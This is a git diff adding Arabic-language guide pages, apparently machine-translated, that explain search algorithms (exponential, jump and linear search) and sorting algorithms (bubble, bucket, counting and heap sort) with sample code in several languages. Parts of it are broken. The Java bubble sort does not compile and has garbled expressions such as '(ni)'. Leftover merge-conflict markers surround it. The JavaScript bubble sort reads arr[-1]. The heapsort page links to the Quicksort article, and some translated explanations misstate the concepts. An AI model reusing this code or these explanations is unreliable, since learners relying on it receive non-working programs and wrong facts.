+*   [بحث ثنائي (فيديو يوتيوب)](https://youtu.be/P3YID7liBug)
+*   [البحث الثنائي - CS50](https://www.youtube.com/watch?v=5xlIPT1FRcA)
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/search-algorithms/exponential-search/index.md b/client/src/guide/arabic/algorithms/search-algorithms/exponential-search/index.md
new file mode 100644
index 0000000000..01576eb795
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/search-algorithms/exponential-search/index.md
@@ -0,0 +1,95 @@
+---
+title: Exponential Search
+localeTitle: البحث الأسي
+---
+## البحث الأسي
+
+يُعرف البحث الأسي أيضًا باسم البحث الإصبعي ، ويبحث عن عنصر في مصفوفة تم فرزها بالقفز على عناصر `2^i` كل تكرار حيث أقوم بتمثيل قيمة متغير التحكم في الحلقة ، ومن ثم التحقق مما إذا كان عنصر البحث موجودًا بين الانتقال الأخير والقفزة الحالية
+
+# حالة التعقيد الأسوأ
+
+O (سجل (N)) كثيرًا ما يتم الخلط بسبب الاسم ، ويتم تسمية الخوارزمية ليس بسبب تعقيد الوقت. ينشأ الاسم كنتيجة لعناصر القفز الخوارزمية بخطوات تساوي 2 من الأسس
+
+# أعمال
+
+1.  اقفز إلى المصفوفة `2^i` في كل مرة تبحث عن الحالة `Array[2^(i-1)] < valueWanted < Array[2^i]` . إذا كان `2^i` أكبر من طول الصفيف ، قم بتعيين الحد الأعلى لطول الصفيف.
+2.  قم بإجراء بحث ثنائي بين `Array[2^(i-1)]` و `Array[2^i]`
+
+# الشفرة
+
+ `// C++ program to find an element x in a 
+ // sorted array using Exponential search. 
+ #include <bits/stdc++.h> 
+ using namespace std; 
+ 
+ int binarySearch(int arr[], int, int, int); 
+ 
+ // Returns position of first ocurrence of 
+ // x in array 
+ int exponentialSearch(int arr[], int n, int x) 
+ { 
+    // If x is present at firt location itself 
+    if (arr[0] == x) 
+        return 0; 
+ 
+    // Find range for binary search by 
+    // repeated doubling 
+    int i = 1; 
+    while (i < n && arr[i] <= x) 
+        i = i*2; 
+ 
+    //  Call binary search for the found range. 
+    return binarySearch(arr, i/2, min(i, n), x); 
+ } 
+ 
+ // A recursive binary search function. It returns 
+ // location of x in  given array arr[l..r] is 
+ // present, otherwise -1 
+ int binarySearch(int arr[], int l, int r, int x) 
+ { 
+    if (r >= l) 
+    { 
+        int mid = l + (r - l)/2; 
+ 
+        // If the element is present at the middle 
+        // itself 
+        if (arr[mid] == x) 
+            return mid; 
+ 
+        // If element is smaller than mid, then it 
+        // can only be present n left subarray 
+        if (arr[mid] > x) 
+            return binarySearch(arr, l, mid-1, x); 
+ 
+        // Else the element can only be present 
+        // in right subarray 
+        return binarySearch(arr, mid+1, r, x); 
+    } 
+ 
+    // We reach here when element is not present 
+    // in array 
+    return -1; 
+ } 
+ 
+ int main(void) 
+ { 
+   int arr[] = {2, 3, 4, 10, 40}; 
+   int n = sizeof(arr)/ sizeof(arr[0]); 
+   int x = 10; 
+   int result = exponentialSearch(arr, n, x); 
+   (result == -1)? printf("Element is not present in array") 
+                 : printf("Element is present at index %d", result); 
+   return 0; 
+ } 
+` 
+
+# معلومات اكثر
+
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/Exponential_search)
+    
+*   [GeeksForGeeks](https://www.geeksforgeeks.org/exponential-search/)
+    
+
+# قروض
+
+[تنفيذ C ++](https://www.wikitechy.com/technology/exponential-search/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/search-algorithms/index.md b/client/src/guide/arabic/algorithms/search-algorithms/index.md
new file mode 100644
index 0000000000..abdb2f7dc9
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/search-algorithms/index.md
@@ -0,0 +1,21 @@
+---
+title: Search Algorithms
+localeTitle: خوارزميات البحث
+---
+## خوارزميات البحث
+
+في علم الكمبيوتر ، خوارزمية البحث هي أي خوارزمية تحل مشكلة البحث ، أي لاسترداد المعلومات المخزنة في بعض بنية البيانات أو حسابها في مساحة البحث لنطاق مشكلة. وتشمل أمثلة هذه الهياكل القوائم المرتبطة ، وهياكل بيانات المصفوفة ، وأشجار البحث وغيرها الكثير. تعتمد خوارزمية البحث المناسبة غالبًا على بنية البيانات التي يتم البحث عنها ، ولكن أيضًا على المعرفة السابقة حول البيانات. [المزيد على ويكيبيديا](https://en.wikipedia.org/wiki/Search_algorithm) .
+
+ينظر هذا النوع من الخوارزمية إلى مشكلة إعادة ترتيب مجموعة من العناصر بترتيب asceding. المثالان الأكثر غموضاً من ذلك هو البحث الثنائي وخوارزمية الفرز الدمج.
+
+في الروابط التالية ، يمكنك أيضًا العثور على مزيد من المعلومات حول:
+
+*   بحث ثنائي
+*   بحث خطي
+*   البحث في القوائم المرتبطة مقابل المصفوفات
+
+#### معلومات اكثر:
+
+*   معهد ماساتشوستس للتكنولوجيا OCW مقدمة لخوارزميات [البحث البحث](https://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-01sc-introduction-to-electrical-engineering-and-computer-science-i-spring-2011/unit-4-probability-and-planning/search-algorithms/) .
+*   جامعة برينستون: [الفرز والبحث.](https://introcs.cs.princeton.edu/java/42sort/)
+*   تشريح محرك بحث [(جوجل).](http://infolab.stanford.edu/~backrub/google.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/search-algorithms/jump-search/index.md b/client/src/guide/arabic/algorithms/search-algorithms/jump-search/index.md
new file mode 100644
index 0000000000..a6469d1ca3
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/search-algorithms/jump-search/index.md
@@ -0,0 +1,29 @@
+---
+title: Jump Search
+localeTitle: القفز بحث
+---
+## القفز بحث
+
+يقوم بحث الانتقال بتحديد موقع عنصر في مصفوفة تم فرزها بالقفز إلى k ثم يتم التحقق مما إذا كان العنصر المطلوب موجودًا القفزة السابقة والقفزة الحالية.
+
+# حالة التعقيد الأسوأ
+
+O (√N)
+
+# أعمال
+
+1.  تعريف قيمة k ، عدد القفزات: حجم القفزة الأمثل هو √N حيث N هي طول الصفيف
+2.  الانتقال إلى الصفيف k-by-k البحث في الحالة `Array[i] < valueWanted < Array[i+k]`
+3.  إجراء بحث خطي بين `Array[i]` و `Array[i + k]`
+
+![القفز البحث 1](https://i1.wp.com/theoryofprogramming.com/wp-content/uploads/2016/11/jump-search-1.jpg?resize=676%2C290)
+
+# الشفرة
+
+لعرض أمثلة لتنفيذ التعليمات البرمجية لهذه الطريقة ، قم بالوصول إلى هذا الرابط أدناه:
+
+[القفز بحث - OpenGenus / الكون](https://github.com/OpenGenus/cosmos/tree/master/code/search/jump_search)
+
+# قروض
+
+[صورة مجموعة المنطق](http://theoryofprogramming.com/2016/11/10/jump-search-algorithm/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/search-algorithms/linear-search/index.md b/client/src/guide/arabic/algorithms/search-algorithms/linear-search/index.md
new file mode 100644
index 0000000000..2ce34a50d1
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/search-algorithms/linear-search/index.md
@@ -0,0 +1,135 @@
+---
+title: Linear Search
+localeTitle: بحث خطي
+---
+## بحث خطي
+
+لنفترض أنك حصلت على قائمة أو مجموعة من العناصر. أنت تبحث عن عنصر معين. كيف تفعل ذلك؟
+
+ابحث عن الرقم 13 في القائمة المحددة.
+
+![بحث خطي 1](https://i.imgur.com/ThkzYEV.jpg)
+
+أنت تنظر فقط إلى القائمة وهناك!
+
+![بحث خطي 2](https://i.imgur.com/K7HfCly.jpg)
+
+الآن ، كيف تخبر كمبيوتر للعثور عليه.
+
+لا يمكن للكمبيوتر النظر إلى أكثر من القيمة في وقت محدد من الوقت. لذلك يأخذ عنصر واحد من الصفيف والتحقق مما إذا كان هو نفسه ما كنت أبحث عنه.
+
+![بحث خطي 3](https://i.imgur.com/ZOSxeZD.jpg)
+
+العنصر الأول لم يتطابق. لذلك انتقل إلى المرحلة التالية.
+
+![بحث خطي 4](https://i.imgur.com/SwKsPxD.jpg)
+
+وما إلى ذلك وهلم جرا…
+
+يتم ذلك حتى يتم العثور على تطابق أو حتى يتم التحقق من كافة العناصر.
+
+![بحث خطي 5](https://i.imgur.com/3AaViff.jpg)
+
+في هذه الخوارزمية ، يمكنك التوقف عند العثور على العنصر ، ومن ثم لن تكون هناك حاجة للنظر إلى أبعد من ذلك.
+
+ما هي المدة التي تستغرقها عملية البحث الخطي؟ في أفضل الأحوال ، يمكن أن تحصل على الحظ والعنصر الذي تبحث عنه ربما في الموضع الأول في الصفيف! ولكن في أسوأ الحالات ، يجب عليك النظر في كل عنصر قبل أن تجد العنصر في المكان الأخير أو قبل أن تدرك أن العنصر ليس في الصفيف.
+
+ومن ثم يكون التعقيد في البحث الخطي هو: O (n).
+
+إذا كان العنصر المراد البحث عنه يترأس في أول كتلة ذاكرة ، فإن التعقيد سيكون: O (1).
+
+يظهر رمز وظيفة البحث الخطي في JavaScript أدناه. هذه الدالة تقوم بإرجاع موضع العنصر الذي نبحث عنه في المصفوفة. إذا كان العنصر غير موجود في الصفيف ، ستقوم الدالة بإرجاع فارغة.
+
+### مثال في Javascript
+
+ `function linearSearch(arr, item) { 
+  // Go through all the elements of arr to look for item. 
+  for (var i = 0; i < arr.length; i++) { 
+    if (arr[i] === item) { // Found it! 
+      return i; 
+    } 
+  } 
+ 
+  // Item not found in the array. 
+  return null; 
+ } 
+` 
+
+### مثال في روبي
+
+ `def linear_search(target, array) 
+  counter = 0 
+ 
+  while counter < array.length 
+    if array[counter] == target 
+      return counter 
+    else 
+      counter += 1 
+    end 
+  end 
+  return nil 
+ end 
+` 
+
+### مثال في C ++
+
+ `int linear_search(int arr[],int n,int num) 
+ { 
+    for(int i=0;i<n;i++){ 
+        if(arr[i]==num) 
+            return i; 
+   } 
+   // Item not found in the array 
+   return -1; 
+ } 
+` 
+
+### مثال في بايثون
+
+ `def linear_search(array, num): 
+    for i in range(len(array)): 
+        if (array[i]==num): 
+            return i 
+    return -1 
+` 
+
+## بحث خطي عالمي
+
+ماذا لو كنت تبحث عن تكرارات متعددة لعنصر ما؟ على سبيل المثال ، ترغب في معرفة عدد 5 في صفيف.
+
+الهدف = 5
+
+المصفوفة = \[1 ، 2 ، 3 ، 4 ، 5 ، 6 ، 5 ، 7 ، 8 ، 9 ، 5\]
+
+يحتوي هذا الصفيف على 3 مرات من 5s ونريد إرجاع الفهارس (حيث توجد في المصفوفة) لجميعهم. وهذا ما يسمى بالبحث الخطي العالمي ، وستحتاج إلى ضبط شفرتك لإرجاع مصفوفة من نقاط الفهرسة التي يعثر فيها على عنصر الهدف. عند العثور على عنصر فهرس يطابق الهدف ، ستتم إضافة نقطة الفهرس (العداد) في مصفوفة النتائج. إذا لم يتطابق مع الرمز ، فستستمر في الانتقال إلى العنصر التالي في الصفيف بإضافة 1 إلى العداد.
+
+ `def global_linear_search(target, array) 
+  counter = 0 
+  results = [] 
+ 
+  while counter < array.length 
+    if array[counter] == target 
+      results << counter 
+      counter += 1 
+    else 
+      counter += 1 
+    end 
+  end 
+ 
+  if results.empty? 
+    return nil 
+  else 
+    return results 
+  end 
+ end 
+` 
+
+## لماذا البحث الخطي غير فعال
+
+ليس هناك شك في أن البحث الخطي بسيط ، لكن لأنه يقارن كل عنصر واحدًا تلو الآخر ، فهو يستغرق وقتًا طويلاً وبالتالي لا يكون فعالًا كثيرًا. إذا كان علينا العثور على رقم من القول ، فإن الرقم 1000000 والرقم في الموقع الأخير ، فإن تقنية البحث الخطية ستصبح مملة تمامًا. لذا ، تعرف أيضًا على نوع الفقاعة ، والفرز السريع وما إلى ذلك.
+
+#### فيديو ذو صلة:
+
+#### موارد آخرى
+
+[بحث خطي - CS50](https://www.youtube.com/watch?v=vZWfKBdSgXI)
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/search-algorithms/searching-linked-lists-versus-arrays/index.md b/client/src/guide/arabic/algorithms/search-algorithms/searching-linked-lists-versus-arrays/index.md
new file mode 100644
index 0000000000..ae485d2d2f
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/search-algorithms/searching-linked-lists-versus-arrays/index.md
@@ -0,0 +1,23 @@
+---
+title: Searching Linked Lists Versus Arrays
+localeTitle: البحث عن القوائم المرتبطة مقابل الصفائف
+---
+## البحث عن القوائم المرتبطة مقابل الصفائف
+
+افترض أن عليك البحث عن عنصر في قائمة و صف _مصفوف_ غير _مرتب_ . في هذه الحالة ، تحتاج إلى إجراء بحث خطي (تذكر ، لم يتم فرزها). سيكون إجراء بحث خطي لعنصر في بنية البيانات إما عملية O (n).
+
+الآن إذا كان لديك قائمة مرتبطة _فرزها_ وطائفة، لا يزال بإمكانك البحث في كل من هياكل البيانات في O (سجل ن) وقت باستخدام ثنائي البحث. على الرغم من ذلك ، سيكون مملاً قليلاً إلى رمز أثناء استخدام القوائم المرتبطة.
+
+عادةً ما يتم تفضيل القوائم المرتبطة على المصفوفات حيث يكون الإدراج عملية متكررة. من الأسهل إدراجها في القوائم المرتبطة حيث يتغير مؤشر فقط. ولكن لإدراجها في صفيف (الوسط أو البداية) ، تحتاج إلى نقل جميع العناصر بعد المصفوفة التي قمت بإدخالها. مكان آخر حيث يجب عليك استخدام قوائم مرتبطة هو حيث حجم غير مؤكد (لا تعرف الحجم عند البدء) ، لأن الصفائف لها حجم ثابت.
+
+توفر الصفائف مزايا قليلة على القوائم المرتبطة:
+
+1.  دخول عشوائي
+2.  ذاكرة أقل مقارنة بالقوائم المرتبطة
+3.  تحتوي المصفوفة على موقع محلي أفضل لذا توفر أداءً أفضل
+
+يعتمد بشكل كامل على حالة الاستخدام سواء كانت المصفوفات أو القوائم المرتبطة أفضل.
+
+### معلومات اكثر:
+
+*   نهج المبرمج من النظر في قائمة مرتبطة مقابل صفيف: [المهوسون المهوسون](http://www.geeksforgeeks.org/programmers-approach-looking-array-vs-linked-list/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/sorting-algorithms/bubble-sort/index.md b/client/src/guide/arabic/algorithms/sorting-algorithms/bubble-sort/index.md
new file mode 100644
index 0000000000..a44de3ceb8
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/sorting-algorithms/bubble-sort/index.md
@@ -0,0 +1,151 @@
+---
+title: Bubble Sort
+localeTitle: فقاعة الفرز
+---
+## فقاعة الفرز
+
+Bubble Sort هي أبسط خوارزمية الفرز التي تعمل من خلال تبديل العناصر المتجاورة بشكل متكرر إذا كانت بترتيب خاطئ.
+
+هذه خوارزمية فرز بطيئة جدًا مقارنة مع خوارزميات مثل Quicksort ، مع تعقيد الحالة الأسوأ O (n ^ 2). ومع ذلك ، فإن المقايضة هي أن هذا النوع من الفقاعات هو واحد من أسهل خوارزميات الفرز لتطبيق من الصفر.
+
+### مثال:
+
+#### أول إجتياز:
+
+(5 1 4 2 8) -> (1 5 4 2 8) ، هنا ، تقارن الخوارزمية بين العنصرين الأولين ، ومقايضات منذ 5> 1.
+
+(1 5 4 2 8) -> (1 4 5 2 8) ، مبادلة منذ 5> 4
+
+(1 4 5 2 8) -> (1 4 2 5 8) ، مبادلة منذ 5> 2
+
+(1 4 2 5 8) -> (1 4 2 5 8) ، الآن ، بما أن هذه العناصر مرتبة بالفعل (8> 5) ، لا تقوم الخوارزمية بتبديلها.
+
+#### الممر الثاني:
+
+(1 4 2 5 8) -> (1 4 2 5 8)
+
+(1 4 2 5 8) -> (1 2 4 5 8) ، مبادلة منذ 4> 2
+
+(1 2 4 5 8) -> (1 2 4 5 8)
+
+(1 2 4 5 8) -> (1 2 4 5 8)
+
+الآن ، تم فرز الصفيف بالفعل ، لكن خوارزمياتنا لا تعرف ما إذا كانت قد اكتملت. تحتاج الخوارزمية إلى تمرير كامل بدون أي مبادلة لمعرفة أنه يتم فرزها.
+
+#### الممر الثالث:
+
+(1 2 4 5 8) -> (1 2 4 5 8)
+
+(1 2 4 5 8) -> (1 2 4 5 8)
+
+(1 2 4 5 8) -> (1 2 4 5 8)
+
+(1 2 4 5 8) -> (1 2 4 5 8)
+
+#### الخصائص
+
+*   تعقيد الفضاء: O (1)
+*   أفضل أداء للحالة: O (n)
+*   متوسط ​​أداء الحالة: O (n \* n)
+*   أسوأ أداء للحالة: O (n \* n)
+*   مستقرة: نعم
+
+### شرح الفيديو
+
+[نوع فقاعة بطريقة سهلة](https://www.youtube.com/watch?v=Jdtq5uKz-w4)
+
+سيستخدم هذا الرمز الفرز الفقاعي لفرز الصفيف.
+
+ `let arr = [1, 4, 7, 45, 7,43, 44, 25, 6, 4, 6, 9]; 
+ let sorted = false 
+ 
+ while(!sorted) { 
+  sorted = true 
+  for(var i=0; i < arr.length; i++) { 
+    if(arr[i] < arr[i-1]) { 
+      let temp = arr[i]; 
+      arr[i] = arr[i-1]; 
+      arr[i-1] = temp; 
+      sorted = false; 
+    } 
+  } 
+ } 
+` 
+
+### الخصائص:
+
+*   تعقيد الفضاء: O (1)
+*   تعقيد الوقت: O (n)، O (n \* n)، O (n \* n) لحالات أفضل ومتوسط ​​وأسوأ على التوالي.
+*   في المكان: نعم
+*   مستقرة: نعم
+
+\======= هنا هو خوارزمية مكتوبة في جاوة.
+
+ `public class bubble-sort { 
+    static void sort(int[] arr) { 
+        int n = arr.length; 
+        int temp = 0; 
+         for(int i=0; i < n; i++){ 
+                 for(int x=1; x < (ni); x++){ 
+                          if(arr[x-1] > arr[x]){ 
+                                 temp = arr[x-1]; 
+                                 arr[x-1] = arr[x]; 
+                                 arr[x] = temp; 
+                         } 
+ 
+                 } 
+         } 
+ 
+    } 
+    public static void main(String[] args) { 
+ 
+        for(int i=0; i < 15; i++){ 
+            int arr[i] = (int)(Math.random() * 100 + 1); 
+        } 
+ 
+                System.out.println("array before sorting\n"); 
+                for(int i=0; i < arr.length; i++){ 
+                        System.out.print(arr[i] + " "); 
+                } 
+                bubbleSort(arr); 
+                System.out.println("\n array after sorting\n"); 
+                for(int i=0; i < arr.length; i++){ 
+                        System.out.print(arr[i] + " "); 
+                } 
+ 
+        } 
+ } 
+` 
+
+\=======
+
+### التنفيذ المتكرر للفرز الفقاعي.
+
+ `void bubblesort(int arr[], int n) 
+ { 
+    if(n==1)    //Initial Case 
+        return; 
+ 
+    for(int i=0;i<n-1;i++)  //After this pass the largest element will move to its desired location. 
+    { 
+        if(arr[i]>arr[i+1]) 
+        { 
+            temp=arr[i]; 
+            arr[i]=arr[i+1]; 
+            arr[i+1]=temp; 
+        } 
+    } 
+ 
+    bubblesort(arr,n-1);    //Recursion for remaining array 
+ } 
+` 
+
+### معلومات اكثر
+
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/Bubble_sort)
+*   [خوارزمية فرز الفقاعة - CS50](https://youtu.be/Ui97-_n5xjo)
+*   [خوارزمية فرز الفقاعة - GeeksForGeeks (مقالة)](http://www.geeksforgeeks.org/bubble-sort)
+*   [خوارزمية فرز الفقاعة - MyCodeSchool (فيديو)](https://www.youtube.com/watch?v=Jdtq5uKz-w4)
+*   [Algorithms: Bubble Sort - HackerRank (فيديو)](https://www.youtube.com/watch?v=6Gv8vg0kcHc)
+*   [خوارزمية فرز الفقاعة - GeeksForGeeks (فيديو)](https://www.youtube.com/watch?v=nmhjrI-aW5o)
+*   [فرز التصور فقاعة](https://www.hackerearth.com/practice/algorithms/sorting/bubble-sort/visualize/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/sorting-algorithms/bucket-sort/index.md b/client/src/guide/arabic/algorithms/sorting-algorithms/bucket-sort/index.md
new file mode 100644
index 0000000000..b38f6455f6
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/sorting-algorithms/bucket-sort/index.md
@@ -0,0 +1,46 @@
+---
+title: Bucket Sort
+localeTitle: فرز دلو
+---
+## ما هو تصنيف دلو؟
+
+تصنيف دلو هو عبارة عن خوارزمية فرز المقارنة التي تعمل على العناصر عن طريق تقسيمها إلى مجموعات بيانات مختلفة ثم فرز هذه المجموعات بشكل فردي. يتم فرز كل مجموعة على حدة باستخدام خوارزمية فرز منفصلة أو عن طريق تطبيق خوارزمية الفرز بشكل متكرر. يعتبر فرز الدلو مفيدًا بشكل أساسي عندما يتم توزيع المدخلات بشكل موحد عبر نطاق معين.
+
+## افترض أن أحد لديه المشكلة التالية أمامهم:
+
+واحد أعطيت مجموعة كبيرة من الأعداد الصحيحة العائمة الكذب بشكل موحد بين الحد الأدنى والعلوي. هذه المجموعة يجب أن تكون الآن مرتبة. طريقة بسيطة لحل هذه المشكلة ستكون استخدام خوارزمية فرز أخرى مثل فرز الفرز أو فرز الفرز أو فرز سريع. ومع ذلك، تضمن هذه الخوارزميات أفضل تعقيد زمني لحالة O (NlogN). ومع ذلك ، يمكن استخدام المهمة المذكورة أعلاه في وقت O (N) ، وذلك باستخدام فرز الجرافة.
+
+دعونا نلقي نظرة فاحصة على ذلك.
+
+النظر في واحد يحتاج إلى إنشاء مجموعة من القوائم ، أي من الدلاء. تحتاج العناصر الآن إلى إدراجها في هذه المجموعات على أساس خصائصها. يمكن بعد ذلك فرز كل من هذه المجموعات بشكل فردي باستخدام "فرز الإدراج".
+
+### رمز زائف لدلو الفرز:
+
+ `void bucketSort(float[] a,int n) 
+ 
+ { 
+ 
+    for(each floating integer 'x' in n) 
+ 
+    { 
+ 
+        insert x into bucket[n*x]; 
+ 
+    } 
+ 
+    for(each bucket) 
+ 
+    { 
+ 
+        sort(bucket); 
+ 
+    } 
+ 
+ } 
+` 
+
+### معلومات اكثر:
+
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/Bucket_sort)
+    
+*   [GeeksForGeeks](http://www.geeksforgeeks.org/bucket-sort-2/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/sorting-algorithms/counting-sort/index.md b/client/src/guide/arabic/algorithms/sorting-algorithms/counting-sort/index.md
new file mode 100644
index 0000000000..09a2dcae33
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/sorting-algorithms/counting-sort/index.md
@@ -0,0 +1,54 @@
+---
+title: Counting Sort
+localeTitle: فرز الفرز
+---
+## فرز الفرز
+
+فرز الفرز هو أسلوب فرز يستند إلى مفاتيح بين نطاق معين. يعمل من خلال حساب عدد الكائنات التي تحتوي على قيم أساسية مميزة (نوع التجزئة). ثم القيام ببعض الحساب لحساب موقف كل كائن في تسلسل الإخراج.
+
+### مثال:
+
+ `For simplicity, consider the data in the range 0 to 9. 
+ Input data: 1, 4, 1, 2, 7, 5, 2 
+  1) Take a count array to store the count of each unique object. 
+  Index:     0  1  2  3  4  5  6  7  8  9 
+  Count:     0  2  2  0  1  1  0  1  0  0 
+ 
+  2) Modify the count array such that each element at each index 
+  stores the sum of previous counts. 
+  Index:     0  1  2  3  4  5  6  7  8  9 
+  Count:     0  2  4  4  5  6  6  7  7  7 
+ 
+ The modified count array indicates the position of each object in 
+ the output sequence. 
+ 
+  3) Output each object from the input sequence followed by 
+  decreasing its count by 1. 
+  Process the input data: 1, 4, 1, 2, 7, 5, 2. Position of 1 is 2. 
+  Put data 1 at index 2 in output. Decrease count by 1 to place 
+  next data 1 at an index 1 smaller than this index. 
+` 
+
+### التنفيذ
+
+ `let numbers = [1, 4, 1, 2, 7, 5, 2]; 
+ let count = []; 
+ let i, z = 0; 
+ let max = Math.max(...numbers); 
+ // initialize counter 
+ for (i = 0; i <= max; i++) { 
+    count[i] = 0; 
+ } 
+ for (i=0; i < numbers.length; i++) { 
+    count[numbers[i]]++; 
+ } 
+ for (i = 0; i <= max; i++) { 
+    while (count[i]-- > 0) { 
+        numbers[z++] = i; 
+    } 
+ } 
+ // output sorted array 
+ for (i=0; i < numbers.length; i++) { 
+    console.log(numbers[i]); 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/sorting-algorithms/heap-sort/index.md b/client/src/guide/arabic/algorithms/sorting-algorithms/heap-sort/index.md
new file mode 100644
index 0000000000..f6c4ab569e
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/sorting-algorithms/heap-sort/index.md
@@ -0,0 +1,131 @@
+---
+title: Heapsort
+localeTitle: نوع كومة
+---
+## نوع كومة
+
+يعد Heapsort خوارزمية فرز فعالة تعتمد على استخدام أكوام أقصى / دقيقة. كومة الذاكرة المؤقتة هي بنية بيانات تستند إلى شجرة تفي خاصية كومة الذاكرة المؤقتة - وهي بحد أقصى كومة الذاكرة المؤقتة ، ويكون مفتاح أي عقدة أقل من أو يساوي مفتاح أصله (إذا كان له أصل). يمكن الاستفادة من هذه الخاصية للوصول إلى العنصر الأقصى في كومة الذاكرة المؤقتة في وقت O (logn) باستخدام أسلوب maxHeapify. نقوم بإجراء هذه العملية n مرة ، في كل مرة تحريك العنصر الأقصى في كومة الذاكرة المؤقتة إلى أعلى كومة الذاكرة المؤقتة واستخراجها من كومة الذاكرة المؤقتة إلى مصفوفة مفروزة. وهكذا ، بعد التكرارات n ، سيكون لدينا نسخة مرتبة لصفيف الإدخال. تعمل هذه الخوارزمية في زمن O (nlogn) و O (1) مساحة إضافية \[O (n) بما في ذلك المساحة المطلوبة لتخزين بيانات الإدخال\] نظرًا لأن جميع العمليات تتم في مكانها تمامًا.
+
+أسوأ وقت لمتوسط ​​وقت اكتمال Heapsort هو O (nlogn). على الرغم من أن heapsort له تعقيد أفضل من حالة quicksort ، إلا أن التشغيل السريع الذي يتم تنفيذه بشكل جيد يعمل بشكل أسرع في الممارسة العملية. هذه خوارزمية تستند إلى مقارنة بحيث يمكن استخدامها لمجموعات البيانات غير عددية بقدر ما يمكن تعريف بعض العلاقة (خاصية كومة الذاكرة المؤقتة) عبر العناصر.
+
+تطبيق في Java كما هو موضح أدناه:
+
+ `import java.util.Arrays; 
+ public class Heapsort { 
+ 
+    public static void main(String[] args) { 
+        //test array 
+        Integer[] arr = {1, 4, 3, 2, 64, 3, 2, 4, 5, 5, 2, 12, 14, 5, 3, 0, -1}; 
+        String[] strarr = {"hope you find this helpful!", "wef", "rg", "q2rq2r", "avs", "erhijer0g", "ewofij", "gwe", "q", "random"}; 
+        arr = heapsort(arr); 
+        strarr = heapsort(strarr); 
+        System.out.println(Arrays.toString(arr)); 
+        System.out.println(Arrays.toString(strarr)); 
+    } 
+ 
+    //O(nlogn) TIME, O(1) SPACE, NOT STABLE 
+    public static <E extends Comparable<E>> E[] heapsort(E[] arr){ 
+        int heaplength = arr.length; 
+        for(int i = arr.length/2; i>0;i--){ 
+            arr = maxheapify(arr, i, heaplength); 
+        } 
+ 
+        for(int i=arr.length-1;i>=0;i--){ 
+            E max = arr[0]; 
+            arr[0] = arr[i]; 
+            arr[i] = max; 
+            heaplength--; 
+            arr = maxheapify(arr, 1, heaplength); 
+        } 
+ 
+        return arr; 
+    } 
+ 
+    //Creates maxheap from array 
+    public static <E extends Comparable<E>> E[] maxheapify(E[] arr, Integer node, Integer heaplength){ 
+        Integer left = node*2; 
+        Integer right = node*2+1; 
+        Integer largest = node; 
+ 
+        if(left.compareTo(heaplength) <=0 && arr[left-1].compareTo(arr[node-1]) >= 0){ 
+            largest = left; 
+        } 
+        if(right.compareTo(heaplength) <= 0 && arr[right-1].compareTo(arr[largest-1]) >= 0){ 
+            largest = right; 
+        } 
+        if(largest != node){ 
+            E temp = arr[node-1]; 
+            arr[node-1] = arr[largest-1]; 
+            arr[largest-1] = temp; 
+            maxheapify(arr, largest, heaplength); 
+        } 
+        return arr; 
+    } 
+ } 
+` 
+
+التنفيذ في C ++
+
+ `#include <iostream> 
+ using namespace std; 
+ void heapify(int arr[], int n, int i) 
+ { 
+    int largest = i; 
+    int l = 2*i + 1; 
+    int r = 2*i + 2; 
+    if (l < n && arr[l] > arr[largest]) 
+        largest = l; 
+    if (r < n && arr[r] > arr[largest]) 
+        largest = r; 
+    if (largest != i) 
+    { 
+        swap(arr[i], arr[largest]); 
+ 
+ 
+        heapify(arr, n, largest); 
+    } 
+ } 
+ 
+ 
+ void heapSort(int arr[], int n) 
+ { 
+ 
+    for (int i = n / 2 - 1; i >= 0; i--) 
+        heapify(arr, n, i); 
+ 
+ 
+    for (int i=n-1; i>=0; i--) 
+    { 
+ 
+        swap(arr[0], arr[i]); 
+ 
+ 
+        heapify(arr, i, 0); 
+    } 
+ } 
+ void printArray(int arr[], int n) 
+ { 
+    for (int i=0; i<n; ++i) 
+        cout << arr[i] << " "; 
+    cout << "\n"; 
+ } 
+ int main() 
+ { 
+    int arr[] = {12, 11, 13, 5, 6, 7}; 
+    int n = sizeof(arr)/sizeof(arr[0]); 
+ 
+    heapSort(arr, n); 
+ 
+    cout << "Sorted array is \n"; 
+    printArray(arr, n); 
+ } 
+` 
+
+### تصور
+
+*   [USFCA](https://www.cs.usfca.edu/~galles/visualization/HeapSort.html)
+*   [HackerEarth](https://www.hackerearth.com/practice/algorithms/sorting/heap-sort/tutorial/)
+
+#### معلومات اكثر:
+
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/Quicksort)
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/sorting-algorithms/index.md b/client/src/guide/arabic/algorithms/sorting-algorithms/index.md
new file mode 100644
index 0000000000..9dcbabb888
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/sorting-algorithms/index.md
@@ -0,0 +1,54 @@
+---
+title: Sorting Algorithms
+localeTitle: خوارزميات الفرز
+---
+## خوارزميات الفرز
+
+خوارزميات الفرز عبارة عن مجموعة من الإرشادات التي تأخذ مصفوفة أو قائمة كمدخلات وترتيب العناصر في ترتيب معين.
+
+الأنواع الأكثر شيوعًا في الأرقام أو شكل من أشكال الترتيب الأبجدي (يسمى معجم معجم) ، ويمكن أن تكون في ترتيب تصاعدي (من الألف إلى الياء ، من 0 إلى 9) أو تنازلي (ZA ، 9-0).
+
+### لماذا الفرز الخوارزميات هي مهمة
+
